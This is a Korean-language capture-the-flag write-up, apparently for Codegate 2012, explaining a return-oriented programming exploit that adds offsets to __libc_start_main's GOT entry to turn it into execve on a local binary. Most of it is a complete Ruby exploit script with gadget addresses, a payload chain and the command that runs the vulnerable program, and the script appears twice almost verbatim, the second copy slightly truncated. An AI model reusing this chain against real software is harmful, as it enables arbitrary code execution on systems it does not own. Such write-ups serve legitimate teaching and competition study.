
심플 하군요. 그래서 strcpy + ppr으로 __libc_start_main의 GOT를 변조 해서 execve로 만들어서 공격하려고 했는데 두둥..

strcpy의 plt에 null이 들어가있었습니다. 멘탈 is falling. 그러나 한국의 자랑스러운 남자로써 이걸로 포기하면 안되기 때문에 방법을 구상했죠. 구상한 방법은 간단합니다. 기존 블랙햇에서 나왔던 방법에서 strcpy + ppr으로 함수의 offset을 전역변수에 복사하고 그것을 __libc_start_main의 GOT에다 더해서 execve와 같은 함수를 만드는데 그 더하는 법을 이용해서 복사를 하도록 합니다. data segment는 항상 0으로 초기화 되어있기 때문에 프로그램이 사용하지 않는 곳에서는 0이라 가정하고 그곳에다 데이터를 더하기를 하여 함수의 offset을 만들 수 있습니다. 프로그램이 간단하여 원하는 값들이 다 없기 때문에 예를들어 4를 만드려면 0x1을 4번 더한다던지 하는 방법을 이용해서 하면됩니다.
임의의 곳에 임의의 값을 더하는 것은 아래와 같은 gadget을 이용하여 만들면 됩니다.

아래에 4 gadget중에 마지막 pop %ebx, pop %ebp ret를 이용하면 ebx를 마음대로 바꿀 수 있습니다. 그리고 그 ebx가 만약 -1이라는 값을 가르킨다면 첫번째 gadget을 이용하여 그 값을 %eax로 바꿀수 있습니다. -1이라는 값은 DTORS_LIST의 마지막에 있기 때문에 그 주소를 이용하면 %eax를 -1로 만들 수 있습니다. 그렇게 해서 %eax를 초기화 할 수 있고 두번째 gadget을 이용하여 임의의 주소에 있는 값을 %eax에 더할 수 있고 세번째 있는 gadget을 이용하면 그 %eax를 임의의 주소에다 더할 수 있습니다. 이 것들을 이용하면 결국 %eax을 두번째 gadget으로 변조하여 세번째 gadget으로 임의의 장소에다 더할 수 있게 됩니다. 그래서 이 gadget을 이용하여 execve - __libc_start_main의 값을 임의의 장소에 이동시키고 그 값을 __libc_start_main의 GOT에 더하여 __libc_start_main을 execv로 바꾸어 실행 할 수 있게 됩니다.
chg_ebx = 0x80484b7 # pop ebx; pop ebp; ret;
dtors_list = 0x8049f1c # 0xffffffff
dummy = 0x41414141
ff_eax = 0x080484ad # mov (%ebx),%eax; cmp $0xffffffff, %eax; jne 0x8048498; add $0x4, %esp, pop %ebx, pop %ebp, ret
global = 0x804a0cc
offset1 = 0xb8a0008
offset2 = 0x5d5b04c4
add_eax = 0x80484ae # add -0xb8a0008(%ebx), %eax; add $0x4, %esp; pop %ebx; pop %ebp; ret;
add_ebx = 0x80483ae # add %eax,0x5d5b04c4(%ebx);ret;
addr_61 = 0x804857c
addr_27 = 0x080483BB
addr_04 = 0x80480f0
addr_01 = 0x8048f28
libc_got = 0x804a008
libc_plt = 0x08048320
null = 0x0804A030
gnu = 0x8048194
def sub(a, b)
return (a + (b ^ 0xffffffff) + 1) % 0x100000000
end
# 0x804a0cc : 0xf1 = -0x1 + 0x61 + 0x61 + 0x27 + 0x4 + 0x4 + 0x1
payload_a = [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_61 + offset1, dummy, add_eax, dummy, addr_61 + offset1, dummy, add_eax, dummy, addr_27 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global += 1
# 0x804a0cd : 0x28 = -0x1 + 0x27 + 0x1 + 0x1
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_27 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, addr_01 +offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global += 1
# 0x804a0ce : 0x08
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global -= 2
# add libc_got + 0x828f0 -> execve
# execve("GNU", [], [])
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, global + offset1, dummy, add_eax, dummy, sub(libc_got, offset2), dummy, add_ebx, libc_plt, null, gnu, null, null]
payload = "A"*268
payload += payload_a.map{|v| [v].pack('I')}.join
system("/home/bof/bof \"#{payload}\"")
dtors_list = 0x8049f1c # 0xffffffff
dummy = 0x41414141
ff_eax = 0x080484ad # mov (%ebx),%eax; cmp $0xffffffff, %eax; jne 0x8048498; add $0x4, %esp, pop %ebx, pop %ebp, ret
global = 0x804a0cc
offset1 = 0xb8a0008
offset2 = 0x5d5b04c4
add_eax = 0x80484ae # add -0xb8a0008(%ebx), %eax; add $0x4, %esp; pop %ebx; pop %ebp; ret;
add_ebx = 0x80483ae # add %eax,0x5d5b04c4(%ebx);ret;
addr_61 = 0x804857c
addr_27 = 0x080483BB
addr_04 = 0x80480f0
addr_01 = 0x8048f28
libc_got = 0x804a008
libc_plt = 0x08048320
null = 0x0804A030
gnu = 0x8048194
def sub(a, b)
return (a + (b ^ 0xffffffff) + 1) % 0x100000000
end
# 0x804a0cc : 0xf1 = -0x1 + 0x61 + 0x61 + 0x27 + 0x4 + 0x4 + 0x1
payload_a = [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_61 + offset1, dummy, add_eax, dummy, addr_61 + offset1, dummy, add_eax, dummy, addr_27 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global += 1
# 0x804a0cd : 0x28 = -0x1 + 0x27 + 0x1 + 0x1
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_27 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, addr_01 +offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global += 1
# 0x804a0ce : 0x08
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_04 + offset1, dummy, add_eax, dummy, addr_01 + offset1, dummy, add_eax, dummy, sub(global, offset2), dummy, add_ebx]
global -= 2
# add libc_got + 0x828f0 -> execve
# execve("GNU", [], [])
payload_a += [chg_ebx, dtors_list, dummy, ff_eax, dummy, global + offset1, dummy, add_eax, dummy, sub(libc_got, offset2), dummy, add_ebx, libc_plt, null, gnu, null, null]
payload = "A"*268
payload += payload_a.map{|v| [v].pack('I')}.join
system("/home/bof/bof \"#{payload}\"")

어때요 참 쉽죠?
Reference : https://media.blackhat.com/bh-us-10/whitepapers/Le/BlackHat-USA-2010-Le-Paper-Payload-already-inside-data-reuse-for-ROP-exploits-wp.pdf
codegate2012_writeup_by_GoN.pdf
9692febb68918a3c5127c56a5320439d.idb


